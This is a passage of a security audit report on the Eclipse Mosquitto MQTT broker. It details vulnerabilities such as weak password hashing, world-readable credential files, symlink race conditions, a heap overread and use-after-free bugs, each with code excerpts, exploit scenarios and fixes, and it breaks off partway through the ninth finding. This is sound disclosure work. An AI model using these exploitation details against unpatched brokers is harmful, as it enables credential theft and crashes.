Eclipse Mosquitto

Security Assessment

April 26, 2023

Prepared for:
Eclipse Foundation
Organized by Open Source Technology Improvement Fund, Inc.

Prepared by: **Shaun Mirani**

About Trail of Bits

Founded in 2012 and headquartered in New York, Trail of Bits provides technical security assessment and advisory services to some of the world's most targeted organizations. We combine high-end security research with a real-world attacker mentality to reduce risk and fortify code. With 100+ employees around the globe, we've helped secure critical software elements that support billions of end users, including Kubernetes and the Linux kernel.

We maintain an exhaustive list of publications at https://github.com/trailofbits/publications, with links to papers, presentations, public audit reports, and podcast appearances.

In recent years, Trail of Bits consultants have showcased cutting-edge research through presentations at CanSecWest, HCSS, Devcon, Empire Hacking, GrrCon, LangSec, NorthSec, the O'Reilly Security Conference, PyCon, REcon, Security BSides, and SummerCon.

We specialize in software testing and code review projects, supporting client organizations in the technology, defense, and finance industries, as well as government entities. Notable clients include HashiCorp, Google, Microsoft, Western Digital, and Zoom.

Trail of Bits also operates a center of excellence with regard to blockchain security. Notable projects include audits of Algorand, Bitcoin SV, Chainlink, Compound, Ethereum 2.0, MakerDAO, Matic, Uniswap, Web3, and Zcash.

To keep up to date with our latest news and announcements, please follow @trailofbits on Twitter and explore our public repositories at https://github.com/trailofbits. To engage us directly, visit our "Contact" page at https://www.trailofbits.com/contact, or email us at info@trailofbits.com.

Trail of Bits, Inc.
228 Park Ave S #80688
New York, NY 10003
https://www.trailofbits.com
info@trailofbits.com

Notices and Remarks

Copyright and Distribution

Test Coverage Disclaimer

All activities undertaken by Trail of Bits in association with this project were performed in accordance with a statement of work and agreed upon project plan.

Security assessment projects are time-boxed and often reliant on information that may be provided by a client, its affiliates, or its partners. As a result, the findings documented in this report should not be considered a comprehensive list of security issues, flaws, or defects in the target system or codebase.

Trail of Bits uses automated testing techniques to rapidly test the controls and security properties of software. These techniques augment our manual security review work, but each has its limitations: for example, a tool may not generate a random edge case that violates a property or may not fully complete its analysis during the allotted time. Their use is also limited by the time and resource constraints of a project.

Table of Contents

Executive Summary

Engagement Overview

OSTIF engaged Trail of Bits to review the security of the Eclipse Mosquitto project. From February 21 to March 10, 2023, a team of one consultant conducted a security review of the client-provided source code, with three person-weeks of effort. Details of the project's timeline, test targets, and coverage are provided in subsequent sections of this report.

Project Scope

Our testing efforts were focused on the identification of flaws that could result in a compromise of confidentiality, integrity, or availability of the target system. We conducted this audit with full knowledge of the system and had access to the source code and documentation. We performed static and dynamic testing of the target system and its codebase, using both automated and manual processes.

Summary of Findings

The audit uncovered significant flaws that could impact system confidentiality, integrity, or availability. A summary of the findings and details on notable findings are provided below.

EXPOSURE ANALYSIS

Severity	*Count*
High	9
Medium	3
Low	1
Informational	2
Undetermined	1

CATEGORY BREAKDOWN

Category	*Count*
Cryptography	3
Data Exposure	3
Data Validation	6
Denial of Service	1
Timing	1
Undefined Behavior	2

Notable Findings

Significant flaws that impact system confidentiality, integrity, or availability are listed below.

- **TOB-MOSQ-CR-1**
  By default, Mosquitto stores password hashes with only 101 iterations of PBKDF2, significantly weakening the ability of the hash algorithm to defend against brute-force attacks.

- **TOB-MOSQ-CR-3**
  `mosquitto_passwd` creates password files that are readable by all users on the system, allowing local attackers to access the password file and brute-force the hashes to gain access to the broker.

- **TOB-MOSQ-CR-5**
  A heap buffer overread issue in the persistent storage capabilities of the broker could result in a crash or sensitive data being unintentionally written to disk upon receiving a particular sequence of packets.

- **TOB-MOSQ-CR-14**
  When the WebSocket protocol support is enabled, the logic for parsing the `X-Forwarded-For` header is incorrect, which would allow attackers to spoof their IP address to the broker.

Project Summary

Contact Information

The following project manager was associated with this project:

Jeff Braswell, Project Manager
jeff.braswell@trailofbits.com

The following engineering director was associated with this project:

Anders Helsing, Engineering Director, Application Security
anders.helsing@trailofbits.com

The following consultant was associated with this project:

Shaun Mirani, Consultant
shaun.mirani@trailofbits.com

Project Timeline

The significant events and milestones of the project are listed below.

Date	Event
March 1, 2023	Status update meeting #1
March 8, 2023	Status update meeting #2
March 15, 2023	Delivery of report draft
March 15, 2023	Report readout meeting
April 26, 2023	Delivery of final report
October 30, 2023	Delivery of report with fix review

Project Goals

The engagement was scoped to provide a security assessment of Eclipse Mosquitto. Specifically, we sought to answer the following non-exhaustive list of questions:

- Do the broker and its Dynamic Security plugin implement authentication and authorization securely?
- Are cryptographic operations (e.g., password hashing, encryption at rest and in transit, authentication of encrypted data) performed securely and in alignment with best practices?
- Can an unauthorized actor, local to the system on which a broker is running, access sensitive data or influence broker behavior?
- Can memory corruption or undefined behavior be triggered in the broker or its plugins?
- Are there vulnerabilities in the parsing of configuration files that could affect the broker itself or its plugins?
- Can external or local attackers cause a denial of service to the broker and its clients?
- Is the WebSocket protocol implemented securely?
- Does Mosquitto's documentation give secure recommendations to its users?

Project Targets

The engagement involved a review and testing of the following target.

mosquitto

Repository	https://github.com/eclipse/mosquitto
Version	`d1b19b22aa5f0576d267e8c83c0634af388c7c5f`
Type	MQTT broker, configuration utilities, and client library
Platform	Linux, Windows, macOS

Project Coverage

This section provides an overview of the analysis coverage of the review, as determined by our high-level engagement goals. Our approaches include the following:

- Static analysis using CodeQL
- A manual review of password hashing and the `mosquitto_passwd` utility
- A manual review of the `mosquitto_ctrl` utility's interfacing with the Dynamic Security plugin
- A manual review and dynamic testing of password file authentication and Dynamic Security ACLs
- Fuzzing of broker packet handling, paired with an AddressSanitizer build of Mosquitto
- Fuzzing of Dynamic Security configuration file loading, paired with an AddressSanitizer build of Mosquitto
- A manual review and dynamic testing of available log destinations and features
- A manual review and dynamic testing of TLS key logging
- A manual review and dynamic testing of TLS verification by the broker and libmosquitto clients
- A manual review and dynamic testing of WebSocket protocol support and general HTTP request handling
- A manual review of documentation for secure recommendations

Coverage Limitations

Because of the time-boxed nature of testing work, it is common to encounter coverage limitations. The following list outlines the coverage limitations of the engagement and indicates system elements that may warrant further review:

- Code specific to non-Linux operating systems, such as Windows
- Broker-to-broker bridging
- Database persistence, beyond what was covered by fuzzing broker packet handling
- The plugin API and plugins other than Dynamic Security

- The `mosquitto_sub` and `mosquitto_pub` utilities, outside of code present in libmosquitto
- The `mosquitto_db_dump` utility

Codebase Maturity Evaluation

Trail of Bits uses a traffic-light protocol to provide each client with a clear understanding of the areas in which its codebase is mature, immature, or underdeveloped. Deficiencies identified here often stem from root causes within the software development life cycle that should be addressed through standardization measures (e.g., the use of common libraries, functions, or frameworks) or training and awareness programs.

Category	Summary	Result
Auditing	The Mosquitto broker supports multiple log destinations and provides a timestamped trail of major events, including incoming connections, authentication attempts, configuration reloads, and various errors. However, two issues discovered in this code review (TOB-MOSQ-CR-13, TOB-MOSQ-CR-14) weaken Mosquitto's auditing capabilities by allowing attackers to spoof parts of the log.	Moderate
Authentication / Access Controls	This audit uncovered no issues that directly compromise the security of Mosquitto's authentication or access control mechanisms.	Satisfactory
Complexity Management	The code is logically organized into directories based on component and functionality, divided into functions, and abstracted when necessary. There is little to no duplication of complex pieces of code.	Satisfactory
Configuration	Mosquitto provides no configuration option to disable the parsing of the `X-Forwarded-For` header when there are no proxies in use (TOB-MOSQ-CR-14), which could allow IP address spoofing.	Moderate
Cryptography and Key Management	We identified a high-severity cryptographic flaw in the components responsible for password hashing (TOB-MOSQ-CR-1), a medium-severity issue that could disclose sensitive data during constant-time comparison of secrets (TOB-MOSQ-CR-2), and a recommendation for weak encryption practices in Mosquitto's documentation	Weak

	(TOB-MOSQ-CR-16).	
Data Handling	Our code review identified several issues related to data handling, some of which could significantly impact system confidentiality, integrity, or availability (TOB-MOSQ-CR-4, TOB-MOSQ-CR-5, TOB-MOSQ-CR-11, TOB-MOSQ-CR-12, TOB-MOSQ-CR-13, TOB-MOSQ-CR-14). These issues indicate systemic weaknesses in securely handling certain untrusted data sources.	Weak
Documentation	The codebase is adequately commented. There is detailed and up-to-date documentation that explains how to configure each option supported by the Mosquitto broker, how to use the command-line tools (e.g., `mosquitto_passwd`), and how to use the API provided by libmosquitto. We identified one issue pertaining to an insecure recommendation for encrypting TLS private keys (TOB-MOSQ-CR-16).	Satisfactory
Maintenance	The overall posture of Mosquitto's maintenance strategy for third-party dependencies requires further investigation.	Further Investigation Required
Memory Safety and Error Handling	The fuzzing processes used in this audit uncovered three issues related to memory safety (TOB-MOSQ-CR-5, TOB-MOSQ-CR-8, TOB-MOSQ-CR-9), one of which is high severity and could significantly affect the confidentiality of sensitive data and the availability of the broker. These issues indicate a need to improve the memory safety of the broker by expanding fuzzing coverage. This audit did not uncover any issues with error handling.	Weak
Testing and Verification	Mosquitto has few unit tests but a relatively comprehensive set of integration tests for the broker and the client library. An area in which testing could be improved is TLS certificate validation, as we identified a discrepancy in the handling of wildcard certificates between libmosquitto and other client software (TOB-MOSQ-CR-12). Mosquitto developers have begun to	Moderate

	add fuzz harnesses for the areas of the code where untrusted data is routinely handled (e.g., packet processing, configuration file parsing, the `mosquitto_db_dump` utility), but there is room to expand this coverage (e.g., to Dynamic Security configuration file parsing).	

Summary of Findings

The table below summarizes the findings of the review, including type and severity details.

ID	Title	Type	Severity
1	Insufficient default number of PBKDF2 iterations	Cryptography	High
2	Improper implementation of constant-time comparison	Cryptography	Medium
3	mosquitto_passwd creates world-readable password files	Data Exposure	High
4	mosquitto_passwd trusts existing backup files	Data Validation	High
5	Heap buffer overread issue in persist__chunk_client_write_v6	Data Validation	High
6	mosquitto_ctrl dynsec init creates world-readable config	Data Exposure	High
7	Race condition in file existence check by mosquitto_ctrl dynsec init	Timing	High
8	Use-after-free instances in dynsec_groups__find and dynsec_clients__find	Undefined Behavior	Undetermined
9	NULL pointer dereference in dynsec_roles__config_load	Denial of Service	Low
10	Broker creates world-readable TLS key log files	Data Exposure	High
11	Broker trusts existing TLS key log files	Data Validation	High
12	libmosquitto accepts wildcard certificates for public suffixes	Data Validation	Medium

13	Username characters not validated when taken from client certificate	Data Validation	**Medium**
14	Improper parsing of X-Forwarded-For header	Data Validation	**High**
15	Logger registers with DLT when DLT is not a log destination	Undefined Behavior	**Informational**
16	Documentation recommends insecure encryption practices for TLS private key	Cryptography	**Informational**

Detailed Findings

1. Insufficient default number of PBKDF2 iterations	
Severity: **High**	Difficulty: **Medium**
Type: Cryptography	Finding ID: TOB-MOSQ-CR-1
Target: `common/password_mosq.h`	

Description

Mosquitto's built-in password file system and the Dynamic Security plugin generate and verify user password hashes with PBKDF2-HMAC-SHA512. The default number of iterations for PBKDF2, as defined in `common/password_mosq.h`, is 101 (figure 1.1). This value is significantly lower than OWASP's recommendation of 210,000 iterations and provides little protection against offline brute-force attacks of Mosquitto password hashes.

```
36    #define PW_DEFAULT_ITERATIONS 101
```

Figure 1.1: The default number of PBKDF2 iterations is significantly lower than current secure recommendations. (`common/password_mosq.h#L36`)

Furthermore, the `mosquitto_passwd` and `mosquitto_ctrl` utilities allow the user to override the default number of iterations, but they do not verify that the provided value is greater than or equal to the default.

```
436    int iterations = PW_DEFAULT_ITERATIONS;
```

Figure 1.2: The `mosquitto_passwd` utility adds entries using an insecure number of iterations by default. (`apps/mosquitto_passwd/mosquitto_passwd.c#L436`)

```
564    if(pw__hash(password, &pw, true, PW_DEFAULT_ITERATIONS) != 0){
```

Figure 1.3: The `mosquitto_ctrl` utility adds Dynamic Security clients using an insecure number of iterations by default. (`apps/mosquitto_ctrl/dynsec.c#L564`)

As a result, a Mosquitto administrator could inadvertently specify an insufficient number of iterations (e.g., one) for a user, allowing their password to be easily brute-forced.

Exploit Scenario

An attacker obtains a Mosquitto password file or `dynamic-security.json` file containing PBKDF2-HMAC-SHA512 password hashes created with the default number of iterations

(101). As little computational effort is required to produce a PBKDF2-HMAC-SHA512 hash with only 101 iterations, the attacker uses a tool such as hashcat to easily brute-force the password hashes in parallel and eventually uncovers the plaintext credentials.

Recommendations

Short term, increase `PW_DEFAULT_ITERATIONS` to a minimum of 210,000, as recommended by OWASP. Continue to allow the number of iterations to be configurable in `mosquitto_passwd` and `mosquitto_ctrl`, but have the code ensure that any user-provided number of iterations is at least the default number.

Long term, as the recommended number of iterations increases over time, monitor OWASP's evolving guidance and update `PW_DEFAULT_ITERATIONS` accordingly.

Additionally, to significantly limit an attacker's ability to brute-force hashes in parallel, consider replacing PBKDF2 with a memory-hard, password-based key derivation function, such as Argon2id or scrypt.

2. Improper implementation of constant-time comparison

Severity: **Medium**	Difficulty: **High**
Type: Cryptography	Finding ID: TOB-MOSQ-CR-2
Target: `common/password_mosq.c`, `plugins/dynamic-security/auth.c`	

Description

Constant-time comparison is used in cryptographic code to avoid disclosing information about sensitive data through timing attacks. Mosquitto implements two functions with the same body, `memcmp_const` and `pw__memcmp_const`, that are meant to compare two arrays (e.g., password hashes) in constant time but whose runtimes actually vary with the input data. The `memcmp_const` function is shown in figure 2.1.

```
37    static int memcmp_const(const void *a, const void *b, size_t len)
38    {
39            size_t i;
40            int rc = 0;
41
42            if(!a || !b) return 1;
43
44            for(i=0; i<len; i++){
45                    if( ((char *)a)[i] != ((char *)b)[i] ){
46                            rc = 1;
47                    }
48            }
49            return rc;
50    }
```

Figure 2.1: *`plugins/dynamic-security/auth.c#L37-L50`*

The problem occurs on lines 45-47. If `a[i]` differs from `b[i]`, a branch is taken that assigns 1 to the `rc` variable. If `a[i]` and `b[i]` are the same value, the branch is not taken. This behavior results in a longer execution time for the function when a and b differ. As a result, `memcmp_const` and `pw__memcmp_const` do not run in constant time and may disclose information about either a or b.

An example of a secure function for constant-time comparison is OpenSSL's `CRYPTO_memcmp`, which uses bitwise operations to ensure that a constant number of instructions is executed, regardless of a's or b's contents:

```
int CRYPTO_memcmp(const void * in_a, const void * in_b, size_t len)
{
    size_t i;
    const volatile unsigned char *a = in_a;
    const volatile unsigned char *b = in_b;
    unsigned char x = 0;

    for (i = 0; i < len; i++)
        x |= a[i] ^ b[i];

    return x;
}
```

Figure 2.2: OpenSSL's historical implementation of CRYPTO_memcmp

CRYPTO_memcmp is now written in assembly to prevent the compiler from optimizing it into a version that does not run in constant time.

Currently, Mosquitto's constant-time comparison functions are used only to compare password hashes. Constant-time comparison is not strictly required for secure password hash comparison. Therefore, this issue may not be directly exploitable unless the functions are reused for a different feature that is susceptible to timing attacks.

Exploit Scenario

Mosquitto developers add a feature whose security depends on the ability to compare bytes in constant time in order to prevent timing attacks (e.g., comparison of cryptographic private keys). They reuse `memcmp_const` for this purpose, expecting it to operate in constant time; however, the function's different execution times for different inputs result in the disclosure of secret information, compromising the security of the feature.

Recommendations

Short term, remove `memcmp_const` and `pw__memcmp_const`. Instead, use `CRYPTO_memcmp` from OpenSSL for constant-time comparison.

3. mosquitto_passwd creates world-readable password files	
Severity: **High**	Difficulty: **High**
Type: Data Exposure	Finding ID: TOB-MOSQ-CR-3
Target: `apps/mosquitto_passwd/mosquitto_passwd.c`	

Description
The `mosquitto_passwd` utility allows the user to create new password files and update entries in existing ones. Before updating an existing password file, `mosquitto_passwd` also creates a temporary backup of its original contents in the same directory.

When creating a new password file or a backup of an existing one, `mosquitto_passwd` does not set a file mode creation mask (via the `umask(2)` system call) to set secure file permissions (e.g., only readable and writable by the current user). As a result, password files created using `mosquitto_passwd` on default configurations of most Linux distributions, which use a mask value of `022`, are readable by all users on the system and writable by all members of the user's group (figure 3.1).

```
$ ./mosquitto_passwd -b -c mypasswords admin password
Adding password for user admin
$ ls -la mypasswords
-rw-rw-r-- 1 ubuntu ubuntu 191 Feb 23 15:04 mypasswords
```

Figure 3.1: The `mosquitto_passwd` utility creates a world-readable password file on Ubuntu 22.04.

In update mode, `mosquitto_passwd` includes a call to umask with a secure mask value of `077` (clearing all permission bits except those for the user) before creating a temporary file that the contents of the new password file are written to. However, this call occurs after the backup of the existing password file is created and therefore does not affect the backup file's permissions.

Exploit Scenario
A Mosquitto broker administrator uses the `mosquitto_passwd` utility to generate a password file and add entries to it. An attacker on the system, under another user account, does not have authorized access to the broker but can read the directory in which the password file was created. The attacker exploits the default world-readable permissions of the password file to access its contents, brute-force the password hashes (see TOB-MOSQ-CR-1), and gain access to the broker.

Recommendations

Short term, have the `mosquitto_passwd` utility call `umask` with a mask of `077` before calling `fopen` to create a new password file or a backup of an existing one. This will ensure that only the user running `mosquitto_passwd` can read or write to the file.

Long term, use the File created without restricting permissions CodeQL query to identify additional instances of this issue.

4. mosquitto_passwd trusts existing backup files

Severity: **High**	Difficulty: **High**
Type: Data Validation	Finding ID: TOB-MOSQ-CR-4
Target: `apps/mosquitto_passwd/mosquitto_passwd.c`	

Description

The `mosquitto_passwd` utility allows the user to update entries in an existing password file. Before updating a password file, `mosquitto_passwd` uses the `create_backup` function to make a temporary backup file containing the contents of the original password file. Upon successfully updating the original password file, `mosquitto_passwd` removes the backup file.

The path of the backup file is the same as that of the original password file, with the added extension .tmp, but `mosquitto_passwd` does not ensure that this file does not already exist before opening it in `create_backup` (figure 4.1).

```
615     backup_file = malloc((size_t)strlen(password_file)+5);
616     if(!backup_file){
617             fprintf(stderr, "Error: Out of memory.\n");
618             free(password_file);
619             return 1;
620     }
621     snprintf(backup_file, strlen(password_file)+5, "%s.tmp", password_file);
622     free(password_file);
623     password_file = NULL;
624
625     if(create_backup(backup_file, fptr)){
626             fclose(fptr);
627             free(backup_file);
628             return 1;
629     }
```

Figure 4.1: `apps/mosquitto_passwd/mosquitto_passwd.c#L615-L629`

Because the backup filename is predictable and `mosquitto_passwd` trusts existing backup files, an attacker could create a file with the expected name of a backup file to exfiltrate password file contents that they should not have access to.

The default use of the `fs.protected_symlinks=1` and `fs.protected_regular=1` kernel parameters on some Linux distributions mitigates exploitation of this issue, but Mosquitto developers should not assume these are set on all systems where `mosquitto_passwd` might be used.

Exploit Scenario

A Mosquitto broker administrator uses the `mosquitto_passwd` utility to update an entry in a password file named `passwords`. An attacker on the system, under another user account, does not have authorized access to the broker but can write to the directory in which the password file is stored.

Before the administrator runs `mosquitto_passwd`, the attacker creates a symlink called `passwords.tmp` in the same directory as `passwords` that points to a file that the administrator can write to and the attacker can read from (e.g., `/tmp/copied_passwords`).

When the administrator runs `mosquitto_passwd`, the tool opens the attacker-controlled `passwords.tmp`, trusting it as the backup file, then follows the symlink and writes the original contents of `passwords` to `/tmp/copied_passwords`. After successfully updating `passwords`, `mosquitto_passwd` removes `passwords.tmp`, but the destination file at `/tmp/copied_paswords` remains. The attacker reads the original `passwords` contents from this file and brute-forces the hashes it contains (see TOB-MOSQ-CR-1) to gain access to the broker.

Alternatively, instead of using a symlink, the attacker creates a regular file called `passwords.tmp` and grants the administrator permission to write to it. In this situation, `mosquitto_passwd` still writes the backup contents to `passwords.tmp` but deletes it immediately after updating `passwords`. However, the attacker can still race `mosquitto_passwd` to access `passwords.tmp` before it is removed.

Recommendations

Short term, instead of appending `.tmp` to the original password file name, use `mkstemp(3)` to create a temporary backup file with a unique name, similar to how `mosquitto_passwd` generates another temporary file. The use of `mkstemp` would resolve this issue due to this assurance: “The file is opened with the `open(2) O_EXCL` flag, guaranteeing that the caller is the process that creates the file.” Ensure that read and write access for the temporary file is restricted to the legitimate user (see TOB-MOSQ-CR-3).

5. Heap buffer overread issue in persist__chunk_client_write_v6

Severity: **High**	Difficulty: **Undetermined**
Type: Data Validation	Finding ID: TOB-MOSQ-CR-5
Target: `src/persist_write_v5.c`	

Description

Using the FUME MQTT fuzzing engine to fuzz an AddressSanitizer-enabled build of the Mosquitto broker revealed that a sequence of two `CONNECT` packets can trigger a heap buffer overread issue in the `persist__chunk_client_write_v6` function when the in-memory persistence store is written to disk. The amount of data read past the buffer's bounds is partially controlled by the attacker.

Appendix C contains the AddressSanitizer crash report and a proof-of-concept (PoC) script to reproduce the crash. The crash occurs on autosave of the persistence file; if autosave is not enabled, the crash occurs on program exit.

The `persist__chunk_client_write_v6` function is shown in figure 5.1. The crash occurs due to lines 78–80, when the username of a client is written to the persistence database file pointer (`write_e` is a macro for `fwrite`).

```
59    int persist__chunk_client_write_v6(FILE *db_fptr, struct P_client *chunk)
60    {
61            struct PF_header header;
62            uint16_t id_len = chunk->F.id_len;
63            uint16_t username_len = chunk->F.username_len;
64
65            chunk->F.session_expiry_interval =
htonl(chunk->F.session_expiry_interval);
66            chunk->F.last_mid = htons(chunk->F.last_mid);
67            chunk->F.id_len = htons(chunk->F.id_len);
68            chunk->F.username_len = htons(chunk->F.username_len);
69            chunk->F.listener_port = htons(chunk->F.listener_port);
70
71            header.chunk = htonl(DB_CHUNK_CLIENT);
72            header.length = htonl((uint32_t)sizeof(struct
PF_client)+id_len+username_len);
73
74            write_e(db_fptr, &header, sizeof(struct PF_header));
75            write_e(db_fptr, &chunk->F, sizeof(struct PF_client));
76
77            write_e(db_fptr, chunk->clientid, id_len);
78            if(username_len > 0){
```

```
79                      write_e(db_fptr, chunk->username, username_len);
80              }
81
82              return MOSQ_ERR_SUCCESS;
83      error:
84              log__printf(NULL, MOSQ_LOG_ERR, "Error: %s.", strerror(errno));
85              return 1;
86      }
```

Figure 5.1: *`src/persist_write_v5.c#L59-L86`*

When the triggering sequence of packets is received, the `username_len` value is stored in the reverse byte order of the original username length in the first packet, which is far greater than the real size of the username.

For example, if the original length of the username was 0x0019 (25) bytes, then `username_len` becomes 0x1900 (6400) bytes, and 6400 bytes of heap memory are unintentionally written to the persistence file. Figure C.3 in appendix C contains a hexdump of `mosquitto.db` that shows extraneous heap data after running the PoC script.

Exploit Scenario

A local attacker with read access to the Mosquitto persistence file exploits this vulnerability to access heap data from the broker. The data extracted to the persistence file contains credentials, keys, or other sensitive information that the attacker uses to gain access to the broker or escalate existing privileges.

On some systems, the broker's attempt to read excessive data from the heap causes a crash due to a segmentation fault. Against such targets, the attacker uses this vulnerability to crash the `mosquitto` process, causing a denial of service to all clients and bridged brokers.

Recommendations

Short term, investigate the crash to identify and resolve the underlying cause of the memory corruption. The issue may be related to the flow of receiving a `CONNECT` packet with a username, followed by one without a username. When the second packet is received, `chunk->username` and `chunk->F.username_len`, which correspond to the username for the first packet, are inadvertently reused even though the second packet does not have a username. This results in `chunk->F.username_len` being converted in endianness an extra time (see the call to `htons` on line 68 in figure 5.1), causing the `chunk->username` parameter to overflow.

Long term, use FUME with an AddressSanitizer-enabled build of `mosquitto` to discover more bugs related to the broker's packet handling.

6. mosquitto_ctrl dynsec init creates world-readable config	
Severity: **High**	Difficulty: **High**
Type: Data Exposure	Finding ID: TOB-MOSQ-CR-6
Target: `apps/mosquitto_ctrl/dynsec.c`	

Description

The `dynsec init` subcommand of the `mosquitto_ctrl` function is used to initialize a new configuration file for the Dynamic Security plugin.

When creating the file, `mosquitto_ctrl dynsec init` does not set a file mode creation mask (via the `umask(2)` system call) to set secure file permissions (e.g., only readable and writable by the current user). As a result, `mosquitto_ctrl` creates world-readable Dynamic Security configuration files on default configurations of most Linux distributions, which use a mask value of `022`.

```
$ ./mosquitto_ctrl dynsec init dynamic-security.json admin
New password for admin:
Reenter password for admin:
The client 'admin' has been created in the file 'dynamic-security.json'.
This client is configured to allow you to administer the dynamic security plugin
only.
It does not have access to publish messages to normal topics.
You should create your application clients to do that, for example:
   mosquitto_ctrl <connect options> dynsec createClient <username>
   mosquitto_ctrl <connect options> dynsec createRole <rolename>
   mosquitto_ctrl <connect options> dynsec addRoleACL <rolename> publishClientSend
my/topic [priority]
   mosquitto_ctrl <connect options> dynsec addClientRole <username> <rolename>
[priority]
See https://mosquitto.org/documentation/dynamic-security/ for details of all
commands.
$ ls -latr dynamic-security.json
-rw-rw-r-- 1 ubuntu ubuntu 1317 Feb 28 20:39 dynamic-security.json
```

Figure 6.1: The `mosquitto_ctrl` function's `dynsec init` command creates a world-readable Dynamic Security configuration file on Ubuntu 22.04.

Exploit Scenario

A Mosquitto broker administrator uses the `mosquitto_ctrl` utility to generate a configuration file for the Dynamic Security plugin. An attacker on the system, under another user account, does not have administrative access to the Dynamic Security plugin but can read the directory in which the configuration file was created. The attacker exploits the default world-readable permissions of the configuration file to access its contents, brute-force the administrator password hash (see TOB-MOSQ-CR-1), and gain access to the Dynamic Security plugin.

Recommendations

Short term, have the `mosquitto_ctrl` utility call `umask` with a mask of `077` before calling `fopen` to create the configuration file. This will ensure that only the user running `mosquitto_ctrl` can read or write to the file.

Long term, use the File created without restricting permissions CodeQL query to identify additional instances of this issue.

7. Race condition in file existence check by mosquitto_ctrl dynsec init

Severity: **High**	Difficulty: **High**
Type: Timing	Finding ID: TOB-MOSQ-CR-7
Target: `apps/mosquitto_ctrl/dynsec.c`	

Description

The `dynsec init` subcommand of the `mosquitto_ctrl` utility is used to initialize a new configuration file for the Dynamic Security plugin. `dynsec init` first checks whether a file with the specified name already exists using a call to `fopen` (line 710 of figure 7.1). If the file exists, `mosquitto_ctrl` refuses to write to the file and prints an error. If the file does not exist, `dynsec init` calls `fopen` again to write the configuration data to the file (line 725 of figure 7.1).

These two calls to `fopen` do not happen atomically, resulting in a time-of-check to time-of-use (TOCTOU) race condition in which an attacker-controlled file could be created in the interval.

```
 710    fptr = fopen(filename, "rb");
 711    if(fptr){
 712          fclose(fptr);
 713          fprintf(stderr, "dynsec init: '%s' already exists. Remove the file or
use a different location..\n", filename);
 714          return -1;
 715    }
 716
 717    tree = init_create(admin_user, admin_password, "admin");
 718    if(tree == NULL){
 719          fprintf(stderr, "dynsec init: Out of memory.\n");
 720          return MOSQ_ERR_NOMEM;
 721    }
 722    json_str = cJSON_Print(tree);
 723    cJSON_Delete(tree);
 724
 725    fptr = fopen(filename, "wb");
 726    if(fptr){
 727          fprintf(fptr, "%s", json_str);
 728          free(json_str);
 729          fclose(fptr);
 730    }else{
```

Figure 7.1: `apps/mosquitto_ctrl/dynsec.c#L710-L730`

The default use of the fs.protected_symlinks=1 and fs.protected_regular=1 kernel parameters on some Linux distributions mitigates exploitation of this issue, but Mosquitto developers should not assume these are set on all systems where mosquitto_ctrl might be used.

Exploit Scenario

A Mosquitto broker administrator uses the mosquitto_ctrl utility to create a new Dynamic Security configuration file (e.g., dynamic-security.json). An attacker on the system, under another user account, does not have administrative access to the Dynamic Security plugin but can write to the directory where dynamic-security.json is created.

The attacker writes a program to exploit the race condition in mosquitto_ctrl dynsec init. The program repeatedly tries to create dynamic-security.json as a symlink to another file that is readable by the attacker and writable by the administrator. Once the symlink is successfully created in the interval between the two calls to fopen (figure 7.1), mosquitto_ctrl writes the Dynamic Security configuration data, including the password hash for the administrator user, to the attacker-controlled destination file. The attacker then brute-forces the hash (see TOB-MOSQ-CR-1) to gain administrative access to the Dynamic Security plugin.

Recommendations

Short term, replace the two calls to fopen with a single call to open(3), passing the O_CREAT and O_EXCL flags (figure 7.2).

The man page for open(3) describes the behavior of these flags:

> *If O_CREAT and O_EXCL are set, open() shall fail if the file exists. The check for the existence of the file and the creation of the file if it does not exist shall be atomic with respect to other threads executing open() naming the same filename in the same directory with O_EXCL and O_CREAT set.*

```
#include <fcntl.h>
#include <errno.h>

fd = open(pathname, O_CREAT | O_WRONLY | O_EXCL, S_IRUSR | S_IWUSR);
if (fd < 0) {
    // Failure to create file
    if (errno == EEXIST) {
        // The file already exists
    }
} else {
    // Use the file
}
```

Figure 7.2: Using open(3) with O_CREAT and O_EXCL flags to check whether a file exists and to create it atomically

8. Use-after-free instances in dynsec_groups__find and dynsec_clients__find

Severity: **Undetermined**	Difficulty: **High**
Type: Undefined Behavior	Finding ID: TOB-MOSQ-CR-8
Target: `plugins/dynamic-security/groups.c`, `plugins/dynamic-security/clients.c`	

Description

Fuzzing Dynamic Security configuration file parsing revealed two use-after-free instances that occur when the plugin unloads, resulting in undefined behavior. The AddressSanitizer crash reports are provided in appendix D.

The use-after-free instances are triggered by a configuration file that contains groups or clients with duplicate names (figures 8.1 and 8.2, respectively).

```
{
  "groups": [
    {
      "groupname": "group0"
    },
    {
      "groupname": "group0"
    }
  ]
}
```

Figure 8.1: A Dynamic Security configuration file with duplicate group names causes a use-after-free instance in the `dynsec_groups__find` function.

```
{
  "clients": [
    {
      "username": "user0"
    },
    {
      "username": "user0"
    }
  ]
}
```

Figure 8.2: A Dynamic Security configuration file with duplicate client usernames causes a use-after-free instance in the `dynsec_clients__find` function.

When unloading the configuration corresponding to one of the above files, the Dynamic Security plugin attempts to free the memory it allocated for groups and clients. However, in doing so, `dynsec_groups__find` (figure 8.3) and `dynsec_clients__find` dereference a pointer to a `dynsec__group` or `dynsec__client` structure that has already been freed by `group__free_item` (figure 8.4) or `client__free_item`.

```
struct dynsec__group *dynsec_groups__find(struct dynsec__data *data, const char *groupname)
{
	struct dynsec__group *group = NULL;

	if(groupname){
		HASH_FIND(hh, data->groups, groupname, strlen(groupname), group);
	}
	return group;
}
```

Figure 8.3: `plugins/dynamic-security/groups.c#78–86`

```
static void group__free_item(struct dynsec__data *data, struct dynsec__group *group)
{
	struct dynsec__group *found_group = NULL;

	if(group == NULL) return;

	found_group = dynsec_groups__find(data, group->groupname);
	if(found_group){
		HASH_DEL(data->groups, found_group);
	}
	dynsec__remove_all_clients_from_group(group);
	mosquitto_free(group->text_name);
	mosquitto_free(group->text_description);
	dynsec_rolelist__cleanup(&group->rolelist);
	mosquitto_free(group);
}
```

Figure 8.4: `plugins/dynamic-security/groups.c#88–103`

Exploit Scenario

A Mosquitto broker administrator manually edits a Dynamic Security configuration file and inadvertently adds a group or client with a duplicate name. When the broker exits, the plugin is unloaded, and undefined behavior occurs (which an attacker can exploit to execute arbitrary code in certain conditions).

Recommendations

Short term, do not dereference `dynsec__group` or `dynsec__client` structure pointers that have already been freed.

9. NULL pointer dereference in dynsec_roles__config_load

Severity: **Low**	Difficulty: **Low**
Type: Denial of Service	Finding ID: TOB-MOSQ-CR-9
Target: `plugins/dynamic-security/roles.c`	

Description

Fuzzing Dynamic Security configuration file parsing revealed a `NULL` pointer dereference that causes the broker to crash when the plugin loads. An AddressSanitizer crash report is provided in appendix E.

